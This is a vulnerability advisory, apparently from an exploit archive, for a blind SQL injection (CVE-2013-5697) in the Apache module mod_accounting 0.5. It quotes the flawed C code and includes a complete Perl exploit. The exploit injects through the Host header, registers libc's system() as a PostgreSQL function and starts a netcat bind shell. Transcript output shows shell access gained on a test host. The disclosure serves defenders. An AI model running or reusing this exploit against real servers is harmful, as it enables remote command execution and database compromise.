Home / exploits mod_accounting 0.5 Blind SQL Injection
Posted on 27 September 2013
- Affected Vendor: http://sourceforge.net/projects/mod-acct/files/ - Affected Software: mod_accounting - Affected Version: 0.5. Other earlier versions may be affected. - Issue type: Blind SQL injection - Release Date: 20 Sep 2013 - Discovered by: Eldar "Wireghoul" Marcussen - CVE Identifier: CVE-2013-5697 - Issue status: Abandoned software, no patch available Summary mod_accounting is a traffic accounting module for Apache 1.3.x which records traffic numbers in a database. Both MySQL and PostgreSQL database types are supported. It supports arbitrary database designs as traffic recording is performed via a user defined query in the Apache configuration using placeholders for received values. The following is an example configuration: <VirtualHost _default_:*> DocumentRoot "/var/www/" Options Indexes AccountingQueryFmt "INSERT INTO accounting VALUES( current_time, %r, %s, '%u', '%h' );" AccountingDatabase accounting AccountingDatabaseDriver postgres AccountingDBHost localhost 5432 AccountingLoginInfo acct acct </VirtualHost> As user supplied values are not sanitised before being used in the placeholder values it is possible for an attacker to supply malicous values to perform blind SQL injection. Description The SQL injection occurs due to a user supplied HTTP header being used in the query without sanitisation. The module uses a simple string concatination approach to modify the placeholders in the user defined query before sending it to the database. This code can be located in mod_accounting.c: 409: // build the query string from the template 410: while( ptr ) { 411: char *next; 412: 413: next = strchr( ptr, '%' ); 414: 415: if( next ) { 416: char tmp[ 2 ]; 417: 418: *next++ = ' '; 419: 420: switch( *next++ ) { 421: 422: case 'h': 423: query = ap_pstrcat( p, query, ptr, cfg->ServerName ? cfg->ServerName : "-", NULL ); 424: break; 425: 426: case 's': 427: query = ap_pstrcat( p, query, ptr, sent, NULL ); 428: break; 429: 430: case 'r': 431: query = ap_pstrcat( p, query, ptr, recvd, NULL ); 432: break; 433: 434: case 'u': 435: query = ap_pstrcat( p, query, ptr, get_user( r ), NULL ); 436: break; 437: 438: default: 439: tmp[0] = next[ -1 ]; 440: tmp[1] = ' '; 441: 442: query = ap_pstrcat( p, query, ptr, tmp, NULL ); 443: break; 444: } 445: 446: next[ -2 ] = '%'; 447: 448: } else 449: query = ap_pstrcat( p, query, ptr, NULL ); 450: 451: ptr = next; 452: } 453: 454: ( *DBDrivers[ cfg->DBDriver ].Query )( cfg, server, p, query ); 455: 456: cfg->Received = cfg->Sent = 0; It is important to note that the database query takes place after the page has been served, hence there is no easy way to determine if a particular injection method was successful apart from using an out of band approach. However, as the injection occurs in an insert statement it is likely that the successful injection vector is one of about a handful of likely candidates. Impact An attacker is only limited by the capabilities of the database configuration and may be able to read, add, alter or delete data from your database(s), read or write arbitrary files or even execute commands on the server given a privileged database account. Proof of Concept root@bt:~/sploit-dev# cat mod_accounting-rce.pl #!/usr/bin/perl # PoC of blind SQL injection in the mod_accounting/0.5 Apache module # Injection can occur via the Host header # As the injection occurs in a user defined insert statement a bit of trial and error is required # Database operations occurs asyncronous to page response so timing attacks wont work # This one is completely blind # DB can be mysql or postgres, this PoC only covers postgres # PoC executes netcat to listen on port 4444 (requires dba privileges) use IO::Socket::INET; print "#----------------------------------------------# "; print "| mod_accounting/0.5 PoC exploit by @Wireghoul | "; print "| www.justanotherhacker.com | "; print "#----------Command execution via SQLi----------# "; print "[*] Enumerating blind injection vectors: "; my @endings = ("'));", '"));', "));", "');", '");', ");", "';", '";',";"); # These should terminate most insert statements #my @endings = ( "');" ); my $shell = 'nc -lnp 4444 -e /bin/sh'; my $cnt = 0; my $content = "CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');"; foreach $end (@endings) { $cnt++; my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to connect to $ARGV[0]:$ARGV[1]: $! "; my $str = "GET / HTTP/1.1 Host: $ARGV[0]$cnt$end $content -- "; # from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; -- "; print "[-] Trying $end "; print $sock $str; #print "Sent $end "; close ($sock); } print "[*] Done, remote server should have executed $shell "; Execution of PoC: -------------------------------------------------- root@bt:~/sploit-dev# nc 192.168.58.138 4444 (UNKNOWN) [192.168.58.138] 4444 (?) : Connection refused root@bt:~/sploit-dev# perl mod_accounting-rce.pl 192.168.58.138 80 #----------------------------------------------# | mod_accounting/0.5 PoC exploit by @Wireghoul | | www.justanotherhacker.com | #----------Command execution via SQLi----------# [*] Enumerating blind injection vectors: [-] Trying ')); [-] Trying ")); [-] Trying )); [-] Trying '); [-] Trying "); [-] Trying ); [-] Trying '; [-] Trying "; [-] Trying ; [*] Done, remote server should have executed nc -lnp 4444 -e /bin/sh root@bt:~/sploit-dev# nc 192.168.58.138 4444 pwd /var/lib/postgres/data/base/17142 id uid=101(postgres) gid=104(postgres) groups=104(postgres) hostname sarge ^C Solution As the module is no longer supported, discontinue the use of this module. Response Timeline - 03/09/2013 - Vendor notified - 03/09/2013 - Vendor acknowledge vulnerability - 04/09/2013 - Project download removed and website updated to reflect new status - 20/09/2013 - Advisory released
